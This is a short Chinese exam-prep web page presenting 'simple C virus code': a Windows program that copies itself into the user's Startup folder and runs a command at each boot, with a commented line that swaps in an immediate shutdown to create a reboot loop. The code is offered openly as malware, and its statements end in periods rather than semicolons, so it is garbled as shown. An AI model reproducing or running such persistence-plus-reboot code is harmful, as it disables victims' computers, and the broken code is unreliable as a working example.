简单的C 病毒代码计算机等级考试
文章作者 100test 发表时间 2010:01:08 18:39:02
来源 100Test.Com百考试题网
#include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
{
//printf("%s\n",argv[i]).
char copy[80].
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]).
system(copy). //将这个程序拷到开机启动文件夹下面
//char cmd[]="shutdown -r -t 0".//自动重起
char cmd[]="ping baidu.com".//将这个换成上面的,就是一开机就重起了!
system(cmd).
system("pause").
}
编辑特别推荐:
工厂方法和抽象工厂区别
C 类成员属性的一种简洁实现
VisualC 很简单的木马代码